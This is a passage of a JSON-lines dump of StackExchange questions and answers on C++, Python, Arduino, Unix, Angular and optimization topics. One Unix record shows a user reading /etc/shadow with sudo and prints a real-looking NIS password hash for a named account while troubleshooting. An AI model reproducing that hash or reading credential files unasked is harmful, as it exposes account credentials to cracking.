std::vector<std::vector<int> >graph(city,std::vector<int>(city,NIL));//Adjacency matrix for storing the graph    for(int i=0;i<connections;i++){        int a , b;        std::cin >> a >> b;        a--;b--;        std::cin >> graph[a][b];        graph[b][a] = graph[a][b];    }    int max = 0;    for(int i=0;i<city;i++){        int highest = dijkstra(graph,i,city);//do dijkstra for each and every vertex        if(highest > max){            max = highest;        }    }    std::cout << max << std::endl;    return 0;}"  , "title": "Finding the max cost from the minimum cost incurred on travelling"  , "tags": "c++;algorithm;programming challenge;time limit exceeded;graph"  } 
{  "id": "_scicomp.26185"  , "question": "I'm going through the article in the following link lately and one point confuses me a lot. https://arxiv.org/pdf/1509.05001.pdfSo, the goal of this paper is to solve the following constrained binary quadratic programming. Here the parameters $A$, $Q$ and $b$ are all of integer values.max $x^{T}Qx$$s.t.,$ $Ax\\leq b$ $\\text{and}$ $x\\in \\{0,1\\}^{n}$.The authors consider the lagrangian relaxation of this problem in the following.So, we have the following optimization problem $L_{\\lambda}$.$d(\\lambda) = \\text{min}_{x} x^{T}Qx+\\lambda^{T}(Ax-b) $$s.t., $  $x\\in \\{0,1\\}^{n}$.And the further optimization problem $L$ in the following.$L:\\text{max}_{\\lambda \\in R_{+}^{m}}$ $d(\\lambda)$Then, a branch-and-bound tree is created (which I do not quite understand why to create the tree). In each node $u$ of the branch-and-bound tree, a lower bound is computed by solving the problem $L$ and the primal-dual pair $(x^{u},\\lambda^{u})$ is obtained. we define the slack of constraint $i$ at a point $x$ to be $s_{i}$ = $b_{i} a_{i}^{T}x$, where $a_{i}$ is the $i$-th row of $A$. Then the set of violated constraints at $x$ is the set $V = {i : si < 0}$. If $x^{u}$ is infeasible for the original problem, it must violate one or more constraints. Additionally, we define the change in slack for constraint $i$ resulting from flipping variable $j$ in $x^{u}$ to be $$\\delta_{ij}=a_{ij}(2x_{j}^{u}-1).$$I do not understand why $\\delta_{ij}$ is defined in this way. For my understanding, $x^{u}\\in \\{0,1\\}^{n}$, so when you flip the variable $j$ of $x^{u}$, you change it either from 0 to 1 or from 1 to 0. So, in either case, the change in slack for constraint $i$ can be calculated. Did I miss something here ? Could anyone shed some light on what shall I do here? Many thanks for your time and attention."  , "title": "constraint satisfaction via an LD solution"  , "tags": "optimization;convex optimization;constrained optimization"  , "accepted_answer": "$2x_{j}^{u}-1$ is either $+1$ if $x_{j}^{u}$ is 1 or $-1$ if $x_{j}^{u}$ is 0.  Flipping $x_{j}^{u}$ from 0 to 1 or 1 to 0 will always change the contribution of $a_{ij}x_{j}$ to the left hand side of constraint $i$ (either by $+a_{ij}$ or $-a_{ij}$ This formula makes explicit that change in the slack for each constraint $i$."  } 
{  "id": "_webapps.7182"  , "question": "By default, Facebook exports Attending, (Maybe) Attending and also events that I haven't replied (RSVPed) to yet. This results in an event spam in my Google Calendar.Is there a way to get a ical feed of only the events that I have marked to Attend or (Maybe) Attend?"  , "title": "Export (.ical) only Attending or Maybe Attending events from Facebook"  , "tags": "facebook;export;facebook events;ical"  } 
{  "id": "_codereview.140777"  , "question": "I'm trying to design an application that binds a phrase or word to some item, for example image, and saves phrase-item pair in the database. Then it receives a text, and if it contains binded substring, corresponding item should be returned. It should return only one item (first match), and longest substrings should take precedence.I wrote a function, that returns expected values:from operator import itemgetterdef get_item(text, bindings):     text = text.lower()    matches = []    for phrase, item in bindings:        phrase = phrase.lower()        index = text.find(phrase)        if index != -1:            matches.append((phrase, item, index))    if matches:        matches.sort(key=lambda x: len(x[0]), reverse=True)        matches.sort(key=itemgetter(2))        item_id = matches[0][1]    else:        item_id = None    return item_idExample:bindings = [('i', 'item1'), ('like', 'item2'), ('i like', 'item3'), ('turtles', 'item4'),]text = 'I like turtles!'print(get_item(text, bindings)) # should return item3Is there cleaner ways to complete such task, or faster, perhaps?"  , "title": "Check if strings from a list in a text and return first longest match"  , "tags": "python;performance"  } 
{  "id": "_softwareengineering.404"  , "question": "Joel Spolsky wrote a famous blog post Human Task Switches considered harmful.While I agree with the premise and it seems like common sense, I'm wondering if there are any studies or white papers on this to calculate the overhead on task switches, or is the evidence merely anecdotal? "  , "title": "Is there any hard data to back up Human task switches considered harmful?"  , "tags": "project management;performance"  , "accepted_answer": "The abstract of a study that says 'maybe'Another study [PDF] that says interruptions make things seem like they took longer.A study[PDF] that says interruptions increase resumption lag time, but that cues seen in the task before the interruption can speed recovery time.Task switching[PDF] takes a significant portion of our work week.More reading on the psychology of interruptions than you can shake a stick at."  } 
{  "id": "_codereview.82272"  , "question": "I made a panel of buttons which run commands when pushed. In order to not have the command run on every loop if the button is held down, I am comparing the button to a previous state and only run if it is not, like so:buttonStateR1 = digitalRead(redButton1);if (buttonStateR1 != lastButtonStateR1) {    if (buttonStateR1 == LOW) {        startFlash();        Serial.println('R1');    }}lastButtonStateR1 = buttonStateR1;This works quite well for only a couple of buttons. Is there a more effective method to use when there are 20 or so buttons? Having 20 or so of these statements does work but it get unwieldy and hard to maintain. Luckily each button acts the same (only needs to know that it has been pressed, not that it is held down or held down for a certain period of time, etc).This is the full code and setup with 4 buttons and a toggle to turn it all on or off:// LED output mappingsint greenLED = 0;int redLED = 1;// Pin input mappingsconst int redButton1 = 5;const int redButton2 = 3;const int blackButton1 = 4;const int blackButton2 = 6;const int safetyToggle = 2;// Button statesint buttonStateR1 = HIGH;int lastButtonStateR1 = HIGH;int buttonStateR2 = HIGH;int lastButtonStateR2 = HIGH;int buttonStateB1 = HIGH;int lastButtonStateB1 = HIGH;int buttonStateB2 = HIGH;int lastButtonStateB2 = HIGH;// Serial readingString inputString = ;boolean stringComplete = false;// Helper functionsvoid turnOn(int pin) {    digitalWrite(pin, HIGH);}void turnOff(int pin) {    digitalWrite(pin, LOW);}void cycleLED(int led, int time){    turnOn(led);    delay(time);    turnOff(led);    delay(time);}void startFlash() {    cycleLED(greenLED, 50);    cycleLED(redLED, 50);    cycleLED(greenLED, 50);    cycleLED(redLED, 50);}void successFlash() {    cycleLED(greenLED, 50);    cycleLED(greenLED, 50);}void failureFlash() {    cycleLED(redLED, 50);    cycleLED(redLED, 50);}void setup() {    pinMode(greenLED, OUTPUT);    pinMode(redLED, OUTPUT);    digitalWrite(greenLED, LOW);    digitalWrite(redLED, LOW);    // INPUT_PULLUP sets input buttons when unconnected to high    // this means that the 'pressed' state outputs low    pinMode(redButton1, INPUT_PULLUP);    pinMode(redButton2, INPUT_PULLUP);    pinMode(blackButton1, INPUT_PULLUP);    pinMode(blackButton2, INPUT_PULLUP);    pinMode(safetyToggle, INPUT_PULLUP);    Serial.begin(9600);    startFlash();}void loop() {    if (digitalRead(safetyToggle) == LOW) { // 'safety' toggle        // Button Red 1        buttonStateR1 = digitalRead(redButton1);        if (buttonStateR1 != lastButtonStateR1) {            if (buttonStateR1 == LOW) {                startFlash();                Serial.println('R1');            }        }        lastButtonStateR1 = buttonStateR1;        // Button Red 2        buttonStateR2 = digitalRead(redButton2);        if (buttonStateR2 != lastButtonStateR2) {            if (buttonStateR2 == LOW) {                startFlash();                Serial.println('R2');                           }        }        lastButtonStateR2 = buttonStateR2;        // Button Black 1        buttonStateB1 = digitalRead(blackButton1);        if (buttonStateB1 != lastButtonStateB1) {            if (buttonStateB1 == LOW) {                startFlash();                Serial.println('B1');            }        }        lastButtonStateB1 = buttonStateB1;        //Button Black 2        buttonStateB2 = digitalRead(blackButton2);        if (buttonStateB2 != lastButtonStateB2) {            if (buttonStateB2 == LOW) {                startFlash();                Serial.println('B2');            }        }        lastButtonStateB2 = buttonStateB2;    }    if (stringComplete) {        if (inputString.equals(OK)) {            successFlash();        }         else {            failureFlash();        };        inputString = ;        stringComplete = false;    }}void serialEvent() {    while (Serial.available()) {        char inChar = (char)Serial.read();        inputString += inChar;        if (inChar == '\\n') {            stringComplete = true;        }    }}"  , "title": "Checking that buttons are being pushed"  , "tags": "c++;arduino"  } 
{  "id": "_unix.314502"  , "question": "I recently noticed that emerging world does not upgrade packages obtained with layman. I have been syncing with layman, and in fact many of the overlay packages currently installed are no longer in the tree. I suppose I could emerge each package individually to upgrade it, but there has got to be a better way. Here's the relevant part of my current upgrade process:layman --sync-allemerge --update --deep --with-bdeps=y --newuse --keep-going --complete-graph --verbose-conflicts @worldI would think that running emerge like that would at least raise a warning that atoms are in my world file yet not in the portage tree, but I've never seen one."  , "title": "How to emerge world, including overlays, in gentoo"  , "tags": "gentoo;portage"  , "accepted_answer": "The problem is that the overlay packages are never stabilized (the ~ is never removed from the arch KEYWORDS in the ebuilds). I'm not sure why this isn't being done -- at least in any of the overlay packages I use.The solution, found in this gentoo-user mailing list thread, is to allow unstable packages from each overlay in package.accept_keywords:*/*::overlay-name ~amd64"  } 
{  "id": "_webmaster.86483"  , "question": "I have a web application in ASP.NET MVC that we want SEO optimized. I wanted to test whether the pages are appearing as search results in Google. However, I didn't want it to appear to the general public until I am ready to go live. Is there a way to do a sandbox testing of an SEO website on Google where I can continue developing and testing without it being pop up for search results for everyone else?"  , "title": "Testing SEO website"  , "tags": "seo;testing"  } 
{  "id": "_unix.14478"  , "question": "Where can I find a technical description of the kernel parameters listed in /proc/sys (ob Linux)?"  , "title": "Documentation of kernel parameters"  , "tags": "linux;kernel;documentation;parameter"  , "accepted_answer": "The directory /proc/sys gives easy access to sysctl settings through the shell. You can read and write these settings either by reading and writing these files, or by calling the sysctl utility or the underlying sysctl system call.The various settings are described in the kernel documentation, in Documentation/sysctl/*. Start with README.This is fairly low-level stuff, so sometimes the documentation isn't completely precise and you'll need to turn to the source. Each sysctl setting usually corresponds to a variable with a resembling name inside the kernel (but this is a convention, not a rule). Many settings are declared in kernel/sysctl.c, but additional kernel components and modules can define their own. In the source (on a local copy or online at LXR), search for the name of the sysctl setting between quotes (e.g. xfrm_larval_drop) to find its declaration."  } 
{  "id": "_codereview.154783"  , "question": "This is a follow-up for here.ProblemYour friend John uses a lot of emoticons when you talk to him on  Messenger. In addition to being a person who likes to express himself  through emoticons, he hates unbalanced parenthesis so much that it  makes him go :(Sometimes he puts emoticons within parentheses, and you find it hard  to tell if a parenthesis really is a parenthesis or part of an  emoticon.A message has balanced parentheses if it consists of one of the  following:An empty string One or more of the following characters: 'a' to 'z', ' ' (a space) or ':' (a colon)An open parenthesis '(', followed by a message with balanced parentheses, followed by a close parenthesis ')'.A message with balanced parentheses followed by another message with balanced parentheses.A smiley face :) or a frowny face :(Write a program that determines if there is a way to interpret his message while leaving the parentheses balanced.I'm working on this balanced smileys checking algorithm, and my current solution is very naive, with just two rules:At any point, the number of ) (close) should be less than the number of ( (open) + number of :( (frown)At the end, the number of ( (open) should be less than the number of ) (close) and :) (smile)I'm wondering if any bugs in my checking logic. Any advice on algorithm time complexity improvement or code style advice is highly appreciated as well.def check_balance(source):    left = 0    right = 0    frown = 0    smile = 0    for i,c in enumerate(source):        if c == '(':            left += 1            if i > 0 and source[i-1] == ':': # :(                left -= 1                frown += 1        elif c == ')':            right += 1            if i > 0 and source[i-1] == ':': # :)                right -= 1                smile += 1                if left + frown < right:                    return False    if left > right + smile:        return False    return Trueif __name__ == __main__:    raw_smile_string = 'abc(b:)cdef(:()'    print check_balance(raw_smile_string)"  , "title": "Balanced smileys check algorithm (part 2)"  , "tags": "python;algorithm;python 2.7;balanced delimiters"  , "accepted_answer": "In the verbal description of the algorithm, should be less than implies not equal, which would not be correct. A wording such as must be at most would be totally clear.Your code has a bug because you are not quite following rule 1. The rule says at any point..., but you only check the rule after a smiley. You miss the case when a lone ) breaks the rule.Instead of canceling += 1 with -= 1 here...left += 1if i > 0 and source[i-1] == ':': # :(    left -= 1    frown += 1... it would be clearer to use else:if i > 0 and source[i-1] == ':': # :(    frown += 1else:    left += 1Instead of if i > 0 and source[i-1] == ':' it would be simpler to remember the previous character in a variable: previous_char = None  for char in source:     if char == 'c':         if previous_char == ':':     ...     previous_char = char"  } 
{  "id": "_unix.114074"  , "question": "One noob question from a new zsh user:In bash, I can use tab-completion to move one directory up and descend down again another path. For example, suppose I'm in $HOME/folder1, and I want to cd to $HOME/folder2. $HOME only has the two child directories folder1 and folder2. In bash, I could just typecd ..[TAB]f[TAB]2and would end up in $HOME/folder2. In my fresh zsh installation, pressing cd ..[TAB] produces a list of those child directories of $HOME/folder1 which have two . in their name.Is there a simple way to get the behaviour I'm used to? Or is there something even easier to achieve what I want in zsh?"  , "title": "Tab completion of ../ in zsh"  , "tags": "zsh;directory;autocomplete;oh my zsh"  , "accepted_answer": "Add this to your .zshrc and ..[TAB] will complete to ../ as per bash.zstyle ':completion:*' special-dirs true"  } 
{  "id": "_unix.252267"  , "question": "I just installed MariaDB on Kubuntu 15.10. I am able to log in with the root user via the plugin that authenticates the user from the operating system. (This is new to me, so I am learning about it rather than removing the plugin authentication as most tutorials seem to recommend.) Now I want to create a non-root user and grant all privileges to that user and allow the user to log into mysql (on localhost) without a password (using just the plugin). How would I do this? Do I need to give the user a password too?"  , "title": "MariaDB: Create and grant a new user using unix sockets plugin (passwordless)"  , "tags": "mysql;authentication;mariadb;unix sockets"  , "accepted_answer": "Found the answer. The part I needed was IDENTIFIED VIA unix_socket as shown below:MariaDB [(none)]> CREATE USER serg IDENTIFIED VIA unix_socket;MariaDB [(none)]> GRANT ALL PRIVILEGES on mydatabase.* to 'serg'@'localhost';MariaDB [(none)]> select user, host, password, plugin from mysql.user;+--------------+-----------+----------+-------------+| user         | host      | password | plugin      |+--------------+-----------+----------+-------------+| root         | localhost |          | unix_socket || root         | mitra     |          | unix_socket || root         | 127.0.0.1 |          | unix_socket || root         | ::1       |          | unix_socket || serg         | localhost |          | unix_socket |+--------------+-----------+----------+-------------+5 rows in set (0.00 sec)MariaDB [(none)]> FLUSH PRIVILEGES;Then in the shell: sudo service mysql restartTo log in using user 'serg' do not use sudo. Just use mysql -u serg."  } 
{  "id": "_webapps.35922"  , "question": "I've just been suggested to use Trello, but I have one problem. I get the message to verify my email address... but I don't receive the email to verify the address. What to do?"  , "title": "I don't receive my email verifications in Trello"  , "tags": "trello;email"  } 
{  "id": "_unix.348912"  , "question": "Guys i have mistakenly deleted some useful data from my backup file but the problem is I have so far analyzed huge amount of backup file and now i cannot take a another backup and start analyzing from first so can linux community help me on this.This is file formatORDER ALPHAFacility: 201  ZZZ        COUNTRYWrong Trace:       Kotak: NA       Soak: NA        NOUN: XP                  O  O  O  O  O  O  O  O  O  O  O  O  O  O                  O  O  O  O  O  O  O  O  O  O  O  O  O  O   LAMAMO ORDER #   P/P R  O  L  H  S  C  N  D  K  M  D  D  C  N   LAM uii ii oo--- --------  --- -- -- -- -- -- -- -- -- -- -- -- -- -- --  --- --- -- --    BZ90rty   K/K AA AA AA NA XP AP NA NA NA NA NA NA AP AP  OOL XP  IP Na      ZX     A/A WD WD WD NA WD WD NA NA NA NA NA NA WD WD  OOL WD  IP YORDER BURYFacility: 201  ZZZ        COUNTRYWrong Trace:       Kotak: NA       Soak: NA        NOUN: XP                  O  O  O  O  O  O  O  O  O  O  O  O  O  O                  O  O  O  O  O  O  O  O  O  O  O  O  O  O   LAMAMO ORDER #   P/P R  O  L  H  S  C  N  D  K  M  D  D  C  N   LAM uii ii oo--- --------  --- -- -- -- -- -- -- -- -- -- -- -- -- -- --  --- --- -- --    BZ903901  A/A AA AA AA NA XP AP NA NA NA NA NA NA AP AP  OOL XP  IP Na      ZX     D/A WD WD WD NA WD WD NA NA NA NA NA NA WD WD  OOL WD  IP YORDER ALUIOI have deleted  ORDER ALPHAFacility: 201  ZZZ        COUNTRYWrong Trace:       Kotak: NA       Soak: NA        NOUN: XP                  O  O  O  O  O  O  O  O  O  O  O  O  O  O                  O  O  O  O  O  O  O  O  O  O  O  O  O  O   LAMAMO ORDER #   P/P R  O  L  H  S  C  N  D  K  M  D  D  C  N   LAM uii ii oo--- --------  --- -- -- -- -- -- -- -- -- -- -- -- -- -- --  --- --- -- --    BZ90rty   D/D AA AA AA NA XP AP NA NA NA NA NA NA AP AP  OOL XP  IP Na      ZX     D/D WD WD WD NA WD WD NA NA NA NA NA NA WD WD  OOL WD  IP Ylike this only ORDER XXXXX number changes but condition remains sameCase 1: (IF NOUN :XP && D/D above D/D) add these data from original file to Backup file.NOTE:Original file has these Case 1:deleted data ,add these data back to Backupfile(where backup files states mistakenly deleted case 1 data).Simple flow---->either rsync or cp or sed or awk and append case 1 data from original file to backup file again."  , "title": "Rsync , cp or any utility add specific filtered data back from original file to analyzed file"  , "tags": "awk;sed;rsync;cp"  } 
{  "id": "_webmaster.19455"  , "question": "down vote favoriteshare [fb] share [tw] share [in]My site is built in PHP.I need to upload a file to the root directory, to verify ownership of the domain.I put the file in the first window I see when I log in over ftp, but the file doesn't show up at the relevant url.Where do I place a file so that it's in the root directory?"  , "title": "Root directory -- verifying ownership -- did I put the file in the right place?"  , "tags": "ftp"  , "accepted_answer": "This will vary since webservers can be setup in different ways. But it should be a directory named one of the following:wwwhtdocspublic_htmlwwwroot"  } 
{  "id": "_unix.278501"  , "question": "I have a line which looks like this: </File2>. I want to remove it using sed, but nothing I tried worked, I triedsed '/^<\\/File2>$/d'so I thought maybe theres special characters at the end, but:sed '/^<\\/File2>/d'didn't work either. I cannot remove the ^ in the beginning, because's there's lines I want to keep that includes </File2>."  , "title": "Removing entire line with sed not working?"  , "tags": "text processing;sed"  , "accepted_answer": "Running tr -d '\\r' on the file before removing the lines work.No idea why, but when I ran this command it revealed another tag as well as a space before <\\/File2>."  } 
{  "id": "_unix.157404"  , "question": "Here is what i get:[zehu@danville ~]$ groupsapl vboxusers[zehu@danville ~]$ [zehu@danville ~]$ grep zehu /etc/passwd [zehu@danville ~]$ [zehu@danville ~]$ grep apl /etc/group[zehu@danville ~]$ [zehu@danville ~]$ grep vboxusers /etc/groupvboxusers:x:1540:zehu[zehu@danville ~]$ Could anyone tell me if that's normal or not? and why is that? Thanks for help! [zehu@danville ~]$ sudo grep zehu /etc/shadow   [zehu@danville ~]$    [zehu@danville ~]$ id   uid=1580(zehu) gid=1100(apl)     groups=1100(apl),1540(vboxusers)   [zehu@danville ~]$ getent group apl   apl:x:1100: [zehu@danville ~]$ ypcat passwd | grep zehuzehu:beL3WqT.4rb5Y:1580:1100:Zeyu Hu:/home/zehu:/bin/tcsh"  , "title": "can't find my user name in /etc/passwd nor name of my initial group in /etc/group"  , "tags": "users;account restrictions;nsswitch"  } 
{  "id": "_unix.188829"  , "question": "I need to convert a bunch of .wv files to .flac but I can't seem to find a program to do it. Does anybody know how I can do this?P.S.: I was wondering why Audacity does not support the importing .wv format if it is open source and lossless. Does anybody know?Update: Somewhere I read about converting .ape to .flac using ffmpeg, so I decided to try replacing the .ape with .wv and at first it seems to work but then I get this at the end:[wv @ 0x8e7c200] Invalid block header.te= 836.1kbits/s    audiofile.wv: Invalid data found when processing inputSo my question is: what is wrong here?By the way, the command used was ffmpeg -i audiofile.wv audiofile.flac. Thanks for the help."  , "title": "How to convert WavPack to FLAC?"  , "tags": "audio;conversion;flac"  } 
{  "id": "_codereview.115503"  , "question": "My Application looks something like this (Screenshot). To Control the URL Routing i am using a Angular Js Router. On Click of Store of the Side Panel the StoreList Appears. And on Click of the Edit, the portion template gets fetched from Spring MVC and displayed along with the details. I have written the Code for app.js provided in the below part. Because data could not be shared between the controllers i have written a StoreService and then the listStore array and its getters and setters so that same can be accessed via the controllers. This works fine but :-can there be a better code to this or any Angular functionalities i can use which can really simplify the code ? ORif i am not violating the rules of this forumn, can i directly ask is that the right way to code ?  Was there anyway to use one single Controller for a logical module (like Store CRUD)  ?app.js :-     var storezillaadminapp = angular.module('storezilla-admin',['ngRoute']);    storezillaadminapp.config(['$routeProvider',            function($routeProvider) {                $routeProvider.when(/liststores,{                templateUrl:_contextPath+/stores/getallstores,                    controller : StoreZillaAdminListController            });            $routeProvider.when(/editstore/:id,{                templateUrl:_contextPath+/stores/geteditstore,                controller : StoreZillaAdminEditController            });        }]);    storezillaadminapp.service('StoreService',function($http){       var listStores = [];        this.getAllStores = function() {             console.log('Called....');            return $http.get(_contextPath+'/stores');        };        this.getListStores = function() {            return listStores;        };        this.setListStores = function(data) {            listStores = data;        };    });    storezillaadminapp.controller('StoreZillaAdminListController',function($scope,StoreService){        StoreService.getAllStores().success(function(response){            $scope.listStores = response;            StoreService.setListStores(response);        });    });    storezillaadminapp.controller('StoreZillaAdminEditController',function($scope,$routeParams,StoreService){    $scope.store = StoreService.getListStores()[$routeParams.id];});"  , "title": "Angular.js - Using Service to share data between controllers"  , "tags": "javascript;angular.js"  } 
{  "id": "_unix.285889"  , "question": "I'm trying to create a script that will bring up my vagrant VM (a Ubuntu box hosted on OSX) navigate to the correct directory and start up my virtual env. I've read that this command should work for me:vagrant ssh -- -t 'some commands'The commands execute correctly, I see their output, but then the connection closes as soon as the script or statement is done executing. Here is the exact statement I'm trying to run:vagrant ssh -- -t 'source ~/env/bin/activate; cd /vagrant/refunite-web-touchpoint; pwd'I get this output:/vagrant/refunite-web-touchpointConnection to 127.0.0.1 closed.Here is the script for now:#!/bin/bashvagrant upvagrant ssh -- -t 'source ~/env/bin/activate; cd /vagrant/refunite-web-touchpoint; pwd'"  , "title": "Vagrant ssh closes connection after executing -t option"  , "tags": "bash;ssh;vagrant"  } 
{  "id": "_codereview.86725"  , "question": "I require hundreds of equal, small sized buffers in my current project. The bulk of the computation in the program operates on data stored directly in those containers, so high performance is imperative. As the number of the buffers stays constant at runtime, my current approach is to use a std::vector<std::deque<MyObj>> as the buffer, but I do not like the low cache locality (since the actual storage of each deque is spread on the heap) and possibility for memory fragmentation that this approach entails.Thus I would like to replace my current container with something like a std::vector<somecontainer<MyObj>>, where somecontainer has at least a part of the contained objects stored locally, within the container object itself, and thus in contigous storage in the vector.My attempt to implement such a class is presented below. The container Ring is implemented as a circular buffer, permitting fast insertion and deletion at either end, and supports indexed access to the contents. The size is fixed at compile time, and is restricted to powers of two in order to effectively utilize binary modular integer arithmetic. It is still incomplete, lacking mainly iterators and an assignment operator capable of handling Ring objects to others with different capacities. I do not plan to add exception support to the class or bounds checking to the access functions.Are there any serious pitfalls in the design, or any significant improvements to be made? Will the memory alignment of the elements be correct, and will move constructors be used when inserting elements if possible? Could the container even be adapted to work as a thread safe, single producer - single consumer queue by substituting the current indexes of type uintN_t with indexes of type std::atomic_uintN_t along with other small modifications?Usage example:Ring<int, 8> buf(4, 0);buf.popFront();buf.pushBack(1);buf.pushFront(-1);while(!buf.isFull())    buf.pushBack(2);auto buf2(buf);buf.clear();for(size_t n = 0; n < buf2.getSize(); n++)    std::cout << buf2[n] << , ;//-1, 0, 0, 0, 1, 2, 2, 2,Implementation:#include <cstdint>template<int N> struct UintByBits{ };template<> struct UintByBits<8>  { using type = uint8_t; };template<> struct UintByBits<16> { using type = uint16_t; };template<> struct UintByBits<32> { using type = uint32_t; };template<> struct UintByBits<64> { using type = uint64_t; };constexpr getReqdBitCount(uint64_t val){    return (val <= 0xFF) ? 8 : (           (val <= 0xFFFF) ? 16 : (           (val <= 0xFFFFFFFF) ? 32 : 64));}//MinUint is an alias for the smallest unsigned integer type where MaxVal fitstemplate<uint64_t MaxVal>using MinUint = typename UintByBits<getReqdBitCount(MaxVal)>::type;constexpr bool isPowerOfTwo(uint64_t val){    return val != 0 && (val & (val - 1)) == 0;}//A constant-sized dual-ended queue implemented as a ring buffer. The size of//..the container may only be a power of two (this is a requirement of the//..modular arithmetic performed internally)template<typename T, size_t BufSize>class Ring{    static_assert(isPowerOfTwo(BufSize),        'Ring' buffer size (template param 'BufSize') is not a power of two);    //Aligned raw memory array for constructing objects of type T into    using ElemT = typename std::aligned_storage<sizeof(T), alignof(T)>::type;    ElemT ring_[BufSize];    //Indexes to the raw memory pointig to the head and tail end of the ring.    //..The indexes are each guaranteed to have one extra parity bit of storage,    //..which is used for distinguishing between an empty ring and a full ring.    MinUint<BufSize> ringFront_;    MinUint<BufSize> ringBack_;    //Bit masks used in bitwise operations: INDEX_MASK is used to remove all bits    //..from an index that do not express the actual element position, PARITY_BIT    //..is used for masking and comparing to the parity bit.    static constexpr MinUint<BufSize> INDEX_MASK = BufSize - 1;    static constexpr MinUint<BufSize> PARITY_BIT = BufSize;public:    //When the Ring object is first constructed, ringFront_ points to the first    //..element and ringBack_ to the last element in the container. Pushing one    //..element to either end causes the index of the affected end to roll around,    //..resulting in both indexes pointing to the same element, at which point the    //..element can also be popped from either end.    Ring() : ringFront_(0), ringBack_(BufSize - 1)    { }    //Fill constructor: copy construct n elements    Ring(size_t n, const T &val) : ringFront_(0), ringBack_(BufSize - 1)    {        while(n-- > 0)            pushBack(val);    }    //Fill constructor: construct n elements using default constructor    explicit Ring(size_t n) : ringFront_(0), ringBack_(BufSize - 1)    {        while(n-- > 0)            pushBack();    }    //The assignment operator destroys all elements copy constructs new ones.    //..Perhaps a templated version with a bounds check could accept a different    //..sized Ring of the same value type?    Ring& operator=(const Ring &other)    {        if(this != &other)        {            clear();            size_t n = other.getSize();            while(n-- > 0)                pushFront(other[n]);        }        return *this;    }    //Copy constructor    Ring(const Ring &other) : ringFront_(0), ringBack_(BufSize - 1)    {        size_t n = other.getSize();        while(n-- > 0)            pushFront(other[n]);    }    ~Ring()    {        clear();    }    //Get the element at the position 'position' relative to the front of the    //..ring (that is, the element returned by getFront()). Pushing/popping at    //..the front will thus change which element a given index points to, while    //..pushing/popping at the back will not. Accessing at indexes equal getSize()    //..NOT BOUNDS CHECKED    T &operator[] (size_t position)    {        return *static_cast<T*>(static_cast<void*>(                ring_ + ((ringFront_ + position) & INDEX_MASK))            );    }    const T &operator[] (size_t position) const    {        return *static_cast<const T*>(static_cast<const void*>(                ring_ + ((ringFront_ + position) & INDEX_MASK))            );    }    //Construct an element to the front. NOT BOUNDS CHECKED    template<typename ... Args>    void pushFront(Args&& ... args)    {        --ringFront_;        new(ring_ + (ringFront_ & INDEX_MASK)) T(std::forward<Args>(args)...);    }    //Destroy the element at the front. NOT BOUNDS CHECKED    void popFront()    {        getFront().~T();        ++ringFront_;    }    //Get a reference to the front element. If size == 1 returns the same element    //..as getBack(). Undefined for an empty container.    T &getFront()    {        return *static_cast<T*>(static_cast<void*>(                ring_ + (ringFront_ & INDEX_MASK))            );    }    const T &getFront() const    {        return *static_cast<const T*>(static_cast<const void*>(                ring_ + (ringFront_ & INDEX_MASK))            );    }    //Construct an element to the back. NOT BOUNDS CHECKED    template<typename ... Args>    void pushBack(Args&& ... args)    {        ++ringBack_;        new(ring_ + (ringBack_ & INDEX_MASK)) T(std::forward<Args>(args)...);    }    //Destroy the element at the front. NOT BOUNDS CHECKED    void popBack()    {        getBack().~T();        --ringBack_;    }    //Get a reference to the back element. If size == 1 returns the same element    //..as getFront(). Undefined for an empty container.    T &getBack()    {        return *static_cast<T*>(static_cast<void*>(                ring_ + (ringBack_ & INDEX_MASK))            );    }    const T &getBack() const    {        return *static_cast<const T*>(static_cast<const void*>(                ring_ + (ringBack_ & INDEX_MASK))            );    }    //Destroy all elements in the container.    void clear()    {        while(!isEmpty())            popFront();    }    bool isEmpty() const    {        //if the indexes are otherwise equal but the parity bits differ, the ring is empty        return (((ringBack_ + 1) ^ ringFront_) & (PARITY_BIT | INDEX_MASK)) == PARITY_BIT;    }    bool isFull() const    {        //if the indexes are equal including the parity bits, the ring is empty        return (((ringBack_ + 1) ^ ringFront_) & (PARITY_BIT | INDEX_MASK)) == 0;    }    size_t getSize() const    {        //distinguish between a full and an empty ring, otherwise it would never return 0        return isEmpty() ? 0 : ((ringBack_ - ringFront_) & INDEX_MASK) + 1;    }    constexpr size_t getCapacity() const    {        return BufSize;    }};"  , "title": "Fixed size double-ended queue"  , "tags": "c++;performance;c++11;queue;collections"  , "accepted_answer": "Here are some observations that may help you improve your program.Add type to getReqdBitCountThe C++ standard does not allow definition of functions without type, so this program is technically malformed.  I suspect that getReqdBitCount should return unsigned.Use std::size_tSince this is C++11, you should use the standard std::size_t and #include <cstdlib> rather than using the plain C version which may or may not be defined in <cstdint>.Use appropriate #includesIn addition to <cstdlib> mentioned above, the code is using std::aligned_storage but does not #include <type_traits> where that is defined and is using std::forward but does not #include <utility>.Consider simplifying some of the templatesThere are a series of templates and constexpr functions near the top that are ulimately all about finding the smallest size for MinUint<BufSize> but there are two changes I would like to suggest.  The first is simplification.  You can do all of that with just two templates:#include <limits>template <bool C, typename T, typename F>using Conditional = typename std::conditional<C, T, F>::type;template<uint64_t MaxVal>    using MinUint =     Conditional<std::numeric_limits<uint8_t>::max()>=MaxVal,  uint_fast8_t,         Conditional<std::numeric_limits<uint16_t>::max()>=MaxVal,  uint_fast16_t,             Conditional<std::numeric_limits<uint32_t>::max()>=MaxVal,  uint_fast32_t,                 uint_fast64_t            >        >    >;The second change is to use types such as uint_fast8_t instead of uint8_t for the resulting type.  There may be no difference, but the intent is to designate the fastest uint type with at least 8 bits.  Also note the use of std::numeric_limits means that we don't have to manually type a bunch of potentially error-prone constant values.  The difference is that if you type one too few Fs in a long constant, the compiler will happily generate the wrong code anyway, but if you make an error typing std::numeric_limits... the compiler will halt with an error.Think of the data cacheEach of your data structures has three data items -- ringFront_, ringBack_ and the actual buffer.  Because the cache line size in a typical machine these days is 64 bytes, you'll want to put the hottest (that is, the most frequently accessed) data toward the front of any object.  For that reason, you should probably make the ring_ element the last of the three data items instead of the first to improve cacheing performance.  Naturally, you should actually test the performance change (if any) rather than simply making assumptions.A somewhat more radical possibility is to put all of the cache pointers in one object and all of the cache buffer area in another.  Consider keeping explicit countAt the moment, the isEmpty, isFull and getSize are relatively complex because of the storage mechanism used.  Instead, consider instead if a separate count_ variable were used.  Then, those functions would be trivial:bool isEmpty() const { return count_==0; }bool isFull() const { return count_==BufSize; }bool getSize() const { return count_; }Increment and decrement would be done in each dequeue operation instead, but it may be worthwhile to check for a performance difference.  This would also allow for the front and back to be pointers 